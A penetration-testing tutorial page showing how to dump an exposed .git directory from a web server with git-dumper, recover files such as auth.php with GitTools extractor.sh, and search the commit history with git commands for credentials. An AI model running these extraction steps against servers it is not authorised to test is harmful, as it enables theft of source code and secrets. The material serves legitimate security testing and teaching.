> For the complete documentation index, see [llms.txt](https://zero-day-archives.gitbook.io/zero-day-archives/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zero-day-archives.gitbook.io/zero-day-archives/penetration-testing-against-git-remote-repositories/targeting-git-repositories/attacking-git.md).

# Attacking GIT

**GitDumper: Extracting Git Repository Contents**

GitDumper is a simple tool that allows attackers to download the contents of Git repositories, including files that might not be intended to be exposed publicly. If a repository's `.git` directory is accessible via HTTP, GitDumper can pull it down and extract sensitive information from it.

**Installation of GitDumper**

To install GitDumper, you can use Python’s package manager, **pip**. Alternatively, you can download it from GitHub directly:

```bash
pip install git-dumper
```

Or download from the GitHub repository here:\
[GitTools Repository](https://github.com/internetwache/GitTools)

**Using GitDumper to Extract Git Repositories**

Once GitDumper is installed, you can start dumping the contents of a target repository. The basic usage involves specifying the URL of the target Git repository and the directory where you want to save the files.

**Command:**

```bash
git-dumper http://192.168.221.207:8080/.git git
```

*Explanation:*

* `http://192.168.221.207:8080/.git` is the URL of the Git repository's `.git` directory.
* `git` is the local directory where the repository’s contents will be dumped.

Once the command is executed, GitDumper will start downloading the files from the repository’s `.git` directory and save them to your specified local directory (in this case, the `git` folder).

***

#### **Extractor.sh: Using GitTools for Further Extraction**

For more advanced Git extraction, **GitTools** includes an `extractor.sh` script. This script automatically extracts data from the dumped Git repository and attempts to find files that could contain valuable information such as credentials, configuration files, or sensitive source code.

**Using extractor.sh**

1. First, you need to ensure that the `git` folder where the repository contents are saved is available.
2. Then, you can execute the `extractor.sh` script from the **GitTools** repository.

**Command:**

```bash
~/red/GitTools/Extractor/extractor.sh git retrieved
```

*Explanation:*

* `~/red/GitTools/Extractor/extractor.sh` is the path to the `extractor.sh` script.
* `git` is the folder where the repository was dumped.
* `retrieved` is the destination folder where the extracted files will be saved.

Once the script runs, it will check the repository for useful files and commits, and it will save them in the specified folder. For example, the output might show files like `.gitignore`, `auth.php`, and `index.php` that could contain valuable data.

**Example Output:**

```bash
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: b0b7ac2f66cefc47f33f811fbfa7c5b4a8c89ffd
[+] Found file: /root/home/key/ret/0-b0b7ac2f66cefc47f33f811fbfa7c5b4a8c89ffd/.gitignore
[+] Found file: /root/home/key/ret/0-b0b7ac2f66cefc47f33f811fbfa7c5b4a8c89ffd/auth.php
[+] Found file: /root/home/key/ret/0-b0b7ac2f66cefc47f33f811fbfa7c5b4a8c89ffd/hmac.php
[+] Found file: /root/home/key/ret/0-b0b7ac2f66cefc47f33f811fbfa7c5b4a8c89ffd/index.php
```

This output indicates that various important files (like `auth.php`, `hmac.php`, and `index.php`) have been found and extracted.

***

#### **Enumerating Git Repositories for Further Information**

While GitDumper and GitTools can help dump and extract files from a repository, Git itself has several powerful commands that penetration testers can use to explore the contents of a repository and enumerate useful data.

**1. `git show`**

This command shows the contents of a specific commit or repository. This is useful for looking at specific changes or files added in a commit.

**Example Command:**

```bash
git show c9c8e8bd0a4b373190c4258e16e07a6296d4e43c
```

*Explanation:*\
This will display the contents of the commit with the hash `c9c8e8bd0a4b373190c4258e16e07a6296d4e43c`.

**2. `git status`**

The `git status` command gives a summary of the current state of the repository. This can show modified files, untracked files, or files that are staged for commit.

**Example Command:**

```bash
git status
```

*Explanation:*\
This will display the current status of the repository, such as files that have been added, modified, or are not yet staged for commit.

**3. `git diff`**

This command shows the differences between commits or between a commit and the current state of the working directory. It can be very helpful when comparing changes made to files.

**Example Command:**

```bash
git diff 967fa71c359fffcbeb7e2b72b27a321612e3ad11 8b430c17c16e6c0515e49c4eafdd129f719fde74
```

*Explanation:*\
This will display the differences between the two commits with the given hashes.

**4. `git log`**

The `git log` command shows the commit history of the repository. This is useful for understanding the changes made over time and identifying any sensitive information in past commits.

**Example Command:**

```bash
git log
```

*Explanation:*\
This will show the commit history, including commit messages, author information, and commit hashes.

***

#### Why having this knowledge can pay dividends:

Git repositories can be a treasure trove of sensitive information, from source code to credentials and configuration files. As a penetration tester, it's essential to understand how to exploit improperly configured or exposed Git repositories.

By using **GitDumper**, **GitTools**, and common **Git commands**, you can efficiently enumerate, extract, and analyze Git repositories during a penetration test. These tools provide powerful techniques for extracting valuable information that might otherwise be overlooked in a typical engagement.

Always remember to perform thorough enumeration and extraction of repositories when testing web servers, especially those that might have exposed `.git` directories. Additionally, practice responsible disclosure if sensitive information is discovered in such repositories.